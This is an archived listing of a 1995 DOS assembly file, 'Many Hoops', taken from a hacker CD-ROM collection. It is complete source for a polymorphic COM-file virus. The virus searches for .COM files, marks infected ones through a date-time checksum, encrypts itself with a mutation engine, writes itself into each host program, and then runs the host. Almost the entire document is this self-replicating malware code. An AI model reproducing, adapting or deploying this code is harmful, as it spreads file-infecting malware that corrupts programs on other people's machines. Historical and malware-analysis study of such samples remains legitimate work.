home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / POLY / MANYHOOP.ASM < prev    next >
Encoding:
Assembly Source File  |  1995-07-10  |  6.8 KB  |  164 lines
  1. ;Many Hoops
  2. ;(C) 1995 American Eagle Publications, Inc. All Rights Reserved.
  3.  
  4. ;A small Visible Mutation Engine based COM infector.
  5.  
  6. .model  tiny
  7. .code
  8.  
  9.                 extrn   host:near               ;host program
  10.                 extrn   encrypt:near            ;visible mutation engine
  11.                 extrn   random_seed:near        ;rand # gen initialize
  12.  
  13. ;DTA definitions
  14. DTA             EQU     0000H           ;Disk transfer area
  15. FSIZE           EQU     DTA+1AH         ;file size location in file search
  16. FNAME           EQU     DTA+1EH         ;file name location in file search
  17.  
  18.                 ORG     100H
  19.  
  20. ;******************************************************************************
  21. ;The virus starts here.
  22.  
  23. VIRSTART:
  24.                 call    GETLOC
  25. GETLOC:         pop     bp
  26.                 sub     bp,OFFSET GETLOC                ;heres where virus starts
  27.                 mov     ax,ds
  28.                 add     ax,1000H
  29.                 mov     es,ax                           ;upper segment is this one + 1000H
  30.  
  31. ;Now it's time to find a viable file to infect. We will look for any COM file
  32. ;and see if the virus is there already.
  33. FIND_FILE:
  34.                 push    ds
  35.                 mov     ds,ax
  36.                 xor     dx,dx                           ;move dta to high segment
  37.                 mov     ah,1AH                          ;so we don't trash the command line
  38.                 int     21H                             ;which the host is expecting
  39.                 pop     ds
  40.                 mov     dx,OFFSET COMFILE
  41.                 add     dx,bp
  42.                 mov     cl,3FH                          ;search for any file, no matter what attribute
  43.                 mov     ah,4EH                          ;DOS search first function
  44.                 int     21H
  45. CHECK_FILE:     jnc     NXT1
  46.                 jmp     ALLDONE                         ;no COM files to infect
  47. NXT1:           mov     dx,FNAME                        ;first open the file
  48.                 push    ds
  49.                 push    es
  50.                 pop     ds
  51.                 mov     ax,3D02H                        ;r/w access open file, since we'll want to write to it
  52.                 int     21H
  53.                 pop     ds
  54.                 jc      NEXT_FILE
  55.                 mov     bx,ax                           ;put file handle in bx, and leave it there for the duration
  56.                 mov     ax,5700H                        ;get file attribute
  57.                 int     21H
  58.                 mov     ax,cx
  59.                 xor     ax,dx                           ;date xor time mod 10 = 3 for infected file
  60.                 xor     dx,dx
  61.                 mov     cx,10
  62.                 div     cx
  63.                 cmp     dx,3
  64.                 jnz     INFECT_FILE                     ;not 3, go infect
  65.  
  66. NEXT_FILE:      mov     ah,4FH                          ;look for another file
  67.                 int     21H
  68.                 jmp     SHORT CHECK_FILE                ;and go check it out
  69.  
  70. COMFILE         DB      '*.COM',0
  71.  
  72. ;When we get here, we've opened a file successfully, and read it into memory.
  73. ;In the high segment, the file is set up exactly as it will look when infected.
  74. ;Thus, to infect, we just rewrite the file from the start, using the image
  75. ;in the high segment.
  76. INFECT_FILE:
  77.                 push    bx                              ;save file handle
  78.                 call    RANDOM_SEED                     ;initialize rand # gen
  79.                 mov     si,100H                         ;ds:si==>code to encrypt
  80.                 add     si,bp
  81.                 mov     di,100H                         ;es:di==>@ of encr code
  82.                 xor     dx,dx                           ;random decryptor size
  83.                 mov     cx,OFFSET HOST - 100H           ;size of code to encrypt
  84.                 mov     bx,100H                         ;starting offset
  85.                 call    ENCRYPT                         ;on exit, es:di=code cx=size
  86.                 pop     bx
  87.  
  88.                 push    ds
  89.                 push    es
  90.                 pop     ds
  91.                 push    cx
  92.                 mov     di,FSIZE
  93.                 mov     dx,cx
  94.                 add     dx,100H                         ;put host here
  95.                 mov     cx,[di]                         ;get file size for reading into buffer
  96.                 mov     ah,3FH                          ;DOS read function
  97.                 int     21H
  98.  
  99.                 xor     cx,cx
  100.                 mov     dx,cx                           ;reset file pointer to start of file
  101.                 mov     ax,4200H
  102.                 int     21H
  103.                 pop     cx
  104.                 add     cx,[di]
  105.  
  106.                 mov     dx,100H
  107.                 mov     ah,40H
  108.                 int     21H                             ;write encrypted virus to file
  109.                 pop     ds
  110.  
  111.                 mov     ax,5700H                        ;get date & time on file
  112.                 int     21H
  113.                 push    dx
  114.                 mov     ax,cx                           ;fix it
  115.                 xor     ax,dx
  116.                 mov     cx,10
  117.                 xor     dx,dx
  118.                 div     cx
  119.                 mul     cx
  120.                 add     ax,3
  121.                 pop     dx
  122.                 xor     ax,dx
  123.                 mov     cx,ax
  124.                 mov     ax,5701H                        ;and save it
  125.                 int     21H
  126.  
  127. EXIT_ERR:
  128.                 mov     ah,3EH                          ;close the file
  129.                 int     21H
  130.  
  131. ;The infection process is now complete. This routine moves the host program
  132. ;down so that its code starts at offset 100H, and then transfers control to it.
  133. ALLDONE:
  134.                 mov     ax,ss                   ;set ds, es to low segment again
  135.                 mov     ds,ax
  136.                 mov     es,ax
  137.                 pushf
  138.                 push    ax                      ;prep for iret to host
  139.                 mov     dx,80H                  ;restore dta to original value
  140.                 mov     ah,1AH                  ;for compatibility
  141.                 int     21H
  142.                 mov     di,100H                 ;prep to move host back to original location
  143.                 mov     si,OFFSET HOST
  144.                 add     si,bp
  145.                 push    di
  146.                 mov     ax,sp
  147.                 sub     ax,6
  148.                 push    ax
  149.                 mov     ax,00CFH                ;iret on the stack
  150.                 push    ax
  151.                 mov     ax,0A4F3H               ;rep movsb on the stack
  152.                 push    ax
  153.                 mov     cx,sp                   ;move code, but don't trash the stack
  154.                 sub     cx,si
  155.                 cli                             ;don't allow stack to trash while we go crazy
  156.                 add     sp,4
  157.                 ret
  158.  
  159.                 END     VIRSTART
  160.  
  161.  
  162.  
  163.  
  164.